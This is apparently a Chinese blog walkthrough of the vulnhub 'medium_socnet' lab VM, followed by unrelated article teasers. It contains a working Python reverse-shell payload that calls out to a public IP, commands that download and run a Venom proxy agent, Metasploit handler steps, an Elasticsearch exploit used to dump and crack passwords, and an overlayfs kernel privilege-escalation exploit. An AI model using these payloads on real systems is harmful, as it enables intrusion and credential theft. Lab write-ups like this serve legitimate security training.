【vulhub靶场】medium_socnet

news/2024/5/19 23:33:11/文章来源:https://blog.csdn.net/weixin_53009585/article/details/129739340

文章目录

  • 环境搭建
  • 信息收集
    • 主机发现:
    • 端口扫描
  • Web 渗透
    • (CVE-2019-14322)Pallets Werkzeug 0.15.4 路径遍历漏洞
    • 代码注入-反弹shell
    • 关于Dockerfile
    • 判断是否在Docker环境中:
      • Command SHELL 提升至 Meterpreter
      • 方法一
      • 方法二
  • Docker环境中存在内网环境
    • 内网主机探测
    • shell脚本-ping存活ip
    • 内网渗透-本地msf自动化
    • 手工 公网vps内网渗透
      • Venom 代理
  • 漏洞利用-内核提权-攻击代码修改
  • 思考及问题
  • 参考

关键词:主机发现 端口扫描 服务发现 路径爬取 代码注入 Shell脚本 内网信息收集 内网穿透 漏洞利用 密码破解 本地提权 攻击代码修改

环境搭建

官网下载地址(下载比较慢):https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
靶机百度云链接
第一次搭建时,进行主机探测,发现靶机只开了22 ssh服务,我寻思不能ssh爆破一下就结束了吧,查了一下资料,发现靶机还应该开放5000端口。遂重新下载导入了一次才正常(还有一种情况是连主机都探测不到,可能是网络适配器设置问题)
在这里插入图片描述

信息收集

主机发现:

arp-scan -l

在这里插入图片描述

端口扫描

nmap -sS -sV -T4 -A -p- 10.10.10.154 

在这里插入图片描述

两种思路:1.ssh爆破 2.通过5000 端口 Python搭建的Web服务
ssh爆破:看运气

use auxiliary/scanner/ssh/ssh_login
set rhost 10.10.10.154
set USER_FILE user.txt
set PASS_FILE pass.txt
run

Web 渗透

dirsearch 扫一下

python3 dirsearch.py -u http://10.10.10.154:5000/ -e html js

在这里插入图片描述

插了一下xss 未解析
根据服务探测的信息

5000/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.15)
|_http-title: Leave a message
网上找找相关漏洞 以对应版本

在这里插入图片描述

(CVE-2019-14322)Pallets Werkzeug 0.15.4 路径遍历漏洞

搜索一下Werkzeug历史漏洞,发现了这个
在0.15.5之前的Pallets Werkzeug中,shareddatmiddleware错误处理了Windows路径名中的驱动器名。
试了试Poc,不存在该漏洞

代码注入-反弹shell

在这里插入图片描述
根据页面提示,这里可能存在代码执行
反弹shell平台:https://forum.ywhack.com/shell.php

靶机是Python环境,尝试注入Python版本反弹shell命令

在这里插入图片描述
还有一个问题就是这里给出的代码都是以命令行的形式执行进行上线的,而靶机页面给出的提示是exec()函数执行,直接复制上去是无法反弹shell的。

在这里插入图片描述
保量中间参数部分才能正常上线
在这里插入图片描述
Payload

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("47.94.xx.xx",5566));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

Python 中,分号也可以用于分隔多条语句;在这段代码中,分号用于将多个语句放在一行中,以便在执行代码时只需要复制粘贴一行代码
执行相关命令后,发现Dockerfile文件,意味着5555端口开的web服务可能在Docker中
在这里插入图片描述

关于Dockerfile

Dockerfile 定义镜像,依赖镜像来运行容器,因此 Dockerfile 是镜像和容器的关键
Dockerfile 是一个文本文件,其内包含了一条条的指令(Instruction),每一条指令构建一层,因此每一条指令的内容,就是描述该层应当如何构建

判断是否在Docker环境中:

方法一:判断根目录下 .dockerenv 文件

ls -alh /.dockerenv 	#非docker环境,没有这个.dockerenv文件的

在这里插入图片描述
方法二:查询系统进程的cgroup信息

cat /proc/1/cgroup

Docker环境执行如下
在这里插入图片描述
非Docker 环境如下
在这里插入图片描述
实锤Dokcer环境

Command SHELL 提升至 Meterpreter

因为msf比较方便。所以将shell转交至msf中

msf6 > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload cmd/unix/reverse_bash
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 6677
msf6 exploit(multi/handler) > exploit 

另一个窗口监听本地6677端口,使用nc再次反弹过来

现在拿到的只有一个shell,但是怎么样才能使用msf其他功能呢? Upgrade Command Shell to Meterpreter

方法一

sesssions -u 1

在这里插入图片描述
但是这里很遗憾,在公网vps上没有提升成功
测试一下同局域网kali 可以
在这里插入图片描述

方法二

msf6 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter 
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > exploit 

这里还是没有提升成功,猜测可能是我用的公网vps的问题,使用本地kali可以

Docker环境中存在内网环境

内网主机探测

ip a

在这里插入图片描述
这里子网掩码有16位,意思就是主机数最多有2的16次方个

shell脚本-ping存活ip

for i in $(for j in $(seq 1 254));do ping -c 1 172.17.$i.$j;done #扫描65535个主机

因为是Docker环境,不至于会打开这么多镜像,所以只对c段的IP进行扫描

for i in $(seq 1 254);do ping -c 1 172.17.0.$i;done         

在这里插入图片描述
存活了三台主机除去自身的172.17.0.2,剩余两台172.17.0.1、172.17.0.3
因为直接从反弹的bash中无法使用其他工具进行内网渗透,所以这里我们使用代理

内网渗透-本地msf自动化

自动添加路由

在这里插入图片描述
添加代理

use auxiliary/server/socks_proxy
set SRVPORT 1234

修改proxychains 配置文件

vi /etc/proxychains.conf 

在这里插入图片描述
然后使用proxychains 进行后续操作

本地kali进行服务探测比通过vps快多了

proxychains nmap -sV -sT 172.17.0.1

在这里插入图片描述

proxychains nmap -sV -sT 172.17.0.2

在这里插入图片描述
注意这里的9200 端口开启的htpp服务

proxychains nmap -sV -sT 172.17.0.3

在这里插入图片描述
这里还是有很多疑问的?

  • 1 和 3 主机都有5000端口以及相同服务 哪一个是10.10.154的内网ip?
  • 以及使用Docker搭建内网环境里面网络结构是什么样的?

在本地kali中使用自带的firefox条件socks 代理 访问 1和 3主机的5000端口以及 2的9200端口
在这里插入图片描述
配合在物理机访问10.10.10.154并进行留言,发现 1和3 都对应此网站
在这里插入图片描述
访问 172.17.0.2:9200端口
在这里插入图片描述
网上找以公开的elasticsearch 版本1.4.2 历史漏洞在这里插入图片描述
找EXP直接利用
https://github.com/t0kx/exploit-CVE-2015-1427
在这里插入图片描述
直接是root 但这是一个POC好像
msf中可以搜到EXP

searchsploit  elasticsearch

在这里插入图片描述

proxychains python2 /usr/share/exploitdb/exploits/linux/remote/36337.py 172.17.0.2

在这里插入图片描述
拿到了一些用户及md5加密的密码,放到cmd5.com 进行解密
在这里插入图片描述
都能解密出来,有些需要付费……
可以登陆的是john:1337hack
这里可以使用ssh直接登陆
ssh登陆后发现是普通用户权限

==提权==

手工 公网vps内网渗透

Venom 代理

https://github.com/Dliv3/Venom

Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。
Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。
渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。

开启服务端(VPS)

./admin_linux_x64 -lport 7777

Python开启临时的 http 服务,在靶机上通过文件下载并执行

python3 -m http.server 88  #注意在Venom文件目录下执行

在靶机shell中执行

wget http://47.94.130.42:88/agent_linux_x64
chmod +x agent_linux_x64 
./agent_linux_x64 -rhost 47.94.130.42 -rport 7777 #启动客户端 

在这里插入图片描述
服务端连接成功,获取到了一个会话,进入这个会话中,开启一个 socks 代理
在这里插入图片描述
当然,这里还是需要工具来进行流量转发 linux平台使用proxychains
windows 代理详见 代理Socks协议&路由不出网&后渗透通讯&CS-MSF控制上线
这里我使用本地kali 连接vps开启的Socks代理(工具方便)
修改配置文件:

vim /etc/proxychains.conf 

在这里插入图片描述

proxychains nmap -sV -sT 172.17.0.1

这里未指定端口范围,于是进行一些常见服务及端口的扫描

proxychains nmap -sV -sT 172.17.0.1 -p 1-65535   #p参数可以指定端口范围

在这里插入图片描述
扫个一两分钟就可以了,如果不经过公网代理的话,速度可能会快一些,当然真实环境下需要控制扫描速率,以防被封代理ip 后面渗透步骤等同于上方msf自动化,不再做演示

漏洞利用-内核提权-攻击代码修改

在这里插入图片描述
这里自己上传了les.sh进行分析,寻找可以使用的漏洞,一开始利用的经典脏牛,进行编译的时候才发现靶机上没有gcc编译器,当然也没有权限进行包管理(安装gcc),寻思有没有其他编译器使用,如clang或者tcc,编译自己的漏洞利用程序,当然也是没有的,那么如果我在本地编译成可执行程序在进行上传呢?我们都知道linux不同架构编译出来的程序不能通用(指令集不同)。网上查资料GCC支持在一个计算机上同时编译多个架构的程序,也就是说使用GCC编译器在X86架构上编译的程序同样可以在ARM架构上运行。于是我将kali本地编译的脏牛漏洞上传至靶机上
在这里插入图片描述显示缺少libstdc++库,尝试能不能 apt-get install libstdc++6 一下,答案是没有权限,那么能不能从kali上把该库文件复制过来使用呢?复制过来需要放到/usr/lib/目录下,不然程序无法正常调用,然而该目录是禁止普通用户访问的。 走投无路了属于是,看到靶场提示的攻击代码修改,突然想到更改脏牛源代码使其调用自己放置的库文件,然后重新编译使用似乎可以。奈何自己内功不够,对着C语言源码看了一会不知所措……(脏牛EXP源代码中没有库利用痕迹,更换其他漏洞进行提权吧)

**这是其他大佬利用的漏洞 ‘overlayfs’ Local Privilege Escalation **
适用linux内核版本:Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04)
EXP在kali中的位置

/usr/share/exploitdb/exploits/linux/local/37292.c

在这里插入图片描述
删除虚影部分代码,在kali中编译好,报错是正常现象,也会生成程序
按照上方思路,定位ofs-lib.so文件并一起打包放置靶机中,赋权后执行

locate ofs-lib.so
/usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so

在这里插入图片描述

思考及问题

msf 漏洞利用不熟练
对Docker搭建内网环境不熟悉
看到docker环境后没有尝试一些逃逸方法,因为看到靶机介绍并未有逃逸这一关键词,真实环境下应该尝试能否逃逸
修改EXP水平不够,对于库文件的调用以及编译过程不熟悉
一个靶机打一天 emmm
文章内容有不足的地方后续会补充

参考

https://www.freebuf.com/articles/web/321995.html

																							2023-3-24 留念 by whgojp

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_275804.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

二分查找【含左边界查询 + 右边界查询】

789. 数的范围 - AcWing题库 二分查找看起来是很简单的一个算法&#xff0c;但是其中涉及到比较多的细节问题。 一不小心就死循环了…… 使用条件 一般情况下&#xff0c;二分查找通常适用于一个有序的序列中&#xff08;一般为升序&#xff09; 算法解析 确定左右边界 首…

Linux内核文件系统知识大总结

1、文件系统特点文件系统要有严格的组织形式&#xff0c;使得文件能够以块为单位进行存储。文件系统中也要有索引区&#xff0c;用来方便查找一个文件分成的多个块都存放在了什么位置。如果文件系统中有的文件是热点文件&#xff0c;近期经常被读取和写入&#xff0c;文件系统应…

Cursor软件,内含GPT服务,软件免费,可以进行聊天

Cursor软件,内含GPT服务,软件免费,可以进行聊天 Cursor这个软件的安装 安装好后,双点击使用: 最后有软件地址 如果英文不好,怎么办,搭配有道词典: 效率嘎嘎快 用Ctrl+K进行代码指令后面如下自动生成代码 也可以在聊天框里面进行代码的编写和对话

linux 调试系列(二)coredump段错误查找使用详解

《linux 调试系列&#xff08;一&#xff09;coredump环境配置》 《linux 调试系列&#xff08;二&#xff09;coredump段错误查找使用详解》 一、 背景 这一节&#xff0c;通过一个样例&#xff0c;详细介绍怎么使用coredump来定位程序段错误。 构造两个常用错误&#xff0c;…

STM-32:GPIO 输出-点亮LED-流水灯-蜂鸣器

目录一、GPIO1.1GPIO简介1.2GPIO 硬件解析1.2.1保护二极管1.2.2 P-MOS、N-MOS 管1.2.3数据输入输出寄存器1.2.4复用功能输出1.2.5模拟输入输出1.3GPIO 的工作模式1.3.1 输入模式 (模拟/浮空/上拉/下拉)1.3.2 输出模式 (推挽/开漏)1.3.3 复用功能 (推挽/开漏)1.3.4 小结二、GPIO…

线程与子线程

目录 一、简介 线程 主线程与子线程 线程与进程 并发和并行 二、代码编写 1、创建线程之每个线程有独立的线程函数 验证 2、创建线程 每个线程共用的同一线程函数 验证 3、回收线程资源&#xff08;阻塞&#xff09; 验证 4、分离线程&#xff08;不阻塞&a…

DI相关内容

DI相关内容5&#xff0c;DI相关内容5.1 setter注入5.1.1 环境准备5.1.2 注入引用数据类型步骤1:声明属性并提供setter方法步骤2:配置文件中进行注入配置步骤3:运行程序5.1.3 注入简单数据类型步骤1:声明属性并提供setter方法步骤2:配置文件中进行注入配置步骤3:运行程序5.2 构造…

如何用VOSviewer Online想画啥就画啥(配合python+networkX)

VOSviewer一直都是学术界文献可视化的神器&#xff0c;不过貌似很少看有人来DIY&#xff0c;随意画东西。 那笔者花了点时间测试了一下&#xff0c;发现【VOSviewer Online networkX/python】可以极快的画出好看的网络关系图。 网址&#xff1a;https://app.vosviewer.com/ …

Win10系统的截图功能 几种快捷键 以及QQ附带的截图功能

直接按 Prtsc 键 对整个屏幕截图&#xff0c;比如下图 altshiftPrtSc 对某个窗口截图 winshifts 矩形截图&#xff0c;可以对当前屏幕选择一个矩形区域截图&#xff0c;比如下面这样 如果失效,解决方法是在任务管理器里重新启动文件资源管理器的进程 参考&#xff1a;截图快捷键…

docker开启的Mysql修改时区

进入docker 查询和修改时区 注意&#xff1a;MySQL 中存储的时间默认为 UTC 时间&#xff0c;因此需要根据需要进行转换。 你可以使用以下命令查询 MySQL 当前的时区&#xff1a; SELECT global.time_zone;该命令会返回 MySQL 当前的全局时区设置&#xff0c;如果你想查询当…

.NET Core 实现Excel的导入导出

.NET Core 使用NPOI实现Excel的导入导出前言NPOI简介一、安装相对应的程序包1.1、在 “管理NuGet程序包” 中的浏览搜索&#xff1a;“NPOI”二、新建Excel帮助类三、调用3.1、增加一个“keywords”模型类&#xff0c;用作导出3.2、添加一个控制器3.3、编写导入导出的控制器代码…

通达信破底翻形态选股公式,选出破底之后再翻回的标的

破底翻形态&#xff0c;顾名思义就是跌破底部之后再翻回来。编写不带未来函数的形态类公式还是比较难的&#xff0c;理解也不容易。通过今天介绍的破底翻形态选股公式&#xff0c;希望能给大家一些思路。 一、FINDLOWBARS、FINDLOWBARS函数 1、FINDLOWBARS 含义&#xff1a;计…

二叉树的所有路径

1题目 给你一个二叉树的根节点 root &#xff0c;按 任意顺序 &#xff0c;返回所有从根节点到叶子节点的路径。 叶子节点 是指没有子节点的节点。 示例 1&#xff1a; 输入&#xff1a;root [1,2,3,null,5] 输出&#xff1a;["1->2->5","1->3"…

刷题记录|Day38 ● 理论基础 ● 509. 斐波那契数 ● 70. 爬楼梯 ● 746. 使用最小花费爬楼梯

● 理论基础 动态规划&#xff0c;英文&#xff1a;Dynamic Programming&#xff0c;简称DP&#xff0c;如果某一问题有很多重叠子问题&#xff0c;使用动态规划是最有效的。 所以动态规划中每一个状态一定是由上一个状态推导出来的&#xff0c;这一点就区分于贪心&#xff0…

电商一站式管理后台必备工具:电商API接口,网络爬虫、数据抓取、批量处理订单

随着网络的发展&#xff0c;网络购物已经成为人们的日常生活方式之一。电商们也面对日益强烈的竞争压力。很多电商都会使用一站式后台管理软件&#xff0c;来实现多平台操作&#xff0c;为公司日常管理提升效率。如何实现多电商平台的数据交互呢&#xff1f; 这里就需要用到电…

类ChatGPT平台推荐【国内访问ChatGPT4】

类ChatGPT平台推荐【国内访问ChatGPT】 1 ChatGPT介绍 ChatGPT是OpenAI开发出的一个人工智能模型。但是国内大部分人因为网络限制无法访问和使用。今天推荐国内访问途经。 ChatGPT作用&#xff1a; 回答问题信息搜索语言翻译文本生成文案编写代码编程助手创意写作 … 注意&am…

MIPI D-PHYv2.5笔记(3) -- 架构杂项(Master/Slave,高频时钟产生,Clock/Data Lane,PPI)

声明&#xff1a;作者是做嵌入式软件开发的&#xff0c;并非专业的硬件设计人员&#xff0c;笔记内容根据自己的经验和对协议的理解输出&#xff0c;肯定存在有些理解和翻译不到位的地方&#xff0c;有疑问请参考原始规范看 Master和Slave 每条链路(Link)上都存在一个Master侧…

ContOS7分布式部署ZooKeeper

目录 1 下载ZooKeeper 2 修改配置文件 2.1 修改zoo.cfg 2.2 添加ZooKeeper到环境变量 2.3 分发ZooKeeper 2.4 创建myid文件 3 开放端口 4 启动ZooKeeper ZooKeeper是一个开源的分布式协调服务&#xff0c;它是由Apache软件基金会开发和维护的。它主要用于协调和管理大型…

充电设备语音播放芯片,汽车充电桩声音提示ic选型

随着国务院办公厅发布《关于印发新能源汽车产业发展规划(2021—2035年)的通知》&#xff0c;要大力推动新能源汽车产业高质量发展&#xff0c;加快建设汽车强国。 充电桩作为新能源汽车产业发展的重要基础保障&#xff0c;与新能源汽车的发展息息相关。随着新能源车起量&#…

【分享】快递管家无需代码连接伙伴云的方法

快递管家用户使用场景&#xff1a; 每当商家使用快递管家打印面单后&#xff0c;常需要物流人员通过订单编号在伙伴云查询订单详情&#xff0c;然后将快递公司、快递编码等信息更新到相应的位置&#xff0c;确保订单信息的完整性。但人工手动数据费时费力且易出错&#xff0c;一…